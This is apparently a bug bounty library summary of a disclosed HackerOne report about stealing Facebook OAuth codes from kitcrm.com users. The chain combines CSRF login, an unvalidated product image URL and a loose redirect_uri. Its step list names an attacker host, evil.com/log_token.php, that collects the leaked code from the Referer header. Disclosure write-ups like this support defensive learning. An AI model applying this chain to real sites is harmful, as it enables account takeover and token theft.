# Stealing users' facebook access tokens - kitcrm.com

Chained CSRF logins, unvalidated product image URL, and loose Facebook OAuth redirect_uri let attacker leak victim's Facebook OAuth code via Referer header.

- Payout: hidden
- Severity: medium
- Program: Shopify
- Found by: zombiehelp54
- Disclosed: 2017-03-15
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/211477
- Library page: https://bugbountylibrary.com/r/h1%3A211477
- Tags: area:web domain:web impact:ato kind:bounty platform:hackerone sev:medium tech:oauth technique:chained vuln:csrf vuln:info-disclosure vuln:open-redirect

**Target:** Facebook OAuth flow on kitcrm.com onboarding page
**Root cause:** Facebook OAuth redirect_uri allowed any path under kitcrm.com, and the onboarding page loaded an attacker-controlled product image URL, leaking the OAuth code in the Referer header.
**Steps:**
1. Attacker registers Shopify store and kitcrm.com account, sets priority product image URL to `https://evil.com/log_token.php`
2. Victim visits attacker page that CSRF-logs them into attacker's Shopify store and kitcrm.com via iframe form posts
3. Page opens `https://www.facebook.com/v2.7/dialog/oauth?client_id=372033192897621&redirect_uri=https%3A%2F%2Fwww.kitcrm.com%2Fseller%2Fonboarding%2F1&response_type=code&scope=...`
4. Facebook redirects victim to `https://www.kitcrm.com/seller/onboarding/1?code=[fb_code]`
5. Onboarding page loads `https://evil.com/log_token.php`, sending the code in the Referer header
6. Attacker's PHP extracts code from Referer and stores it in tokens.log
**How found:** Noticed product image URL was accepted without validation and reflected as a request on the onboarding page, then combined with CSRF login and the permissive Facebook redirect_uri whitelist.
**Exploitation:** Attacker lures victim to a page that silently logs them into attacker-controlled Shopify store and kitcrm.com, then triggers Facebook OAuth with a redirect_uri pointing at the onboarding page; the page's attacker-controlled image URL receives the OAuth code via Referer. Attacker then attempts to exchange the code for an access token.
**Escalation:** Chained three low-impact bugs (CSRF login, unvalidated image URL, loose redirect_uri) into OAuth code theft.
**Insight:** When an OAuth redirect lands on a page that loads third-party resources, the authorization code can leak via the Referer header; check whether redirect_uri allows arbitrary paths and whether the landing page fetches attacker-controlled URLs.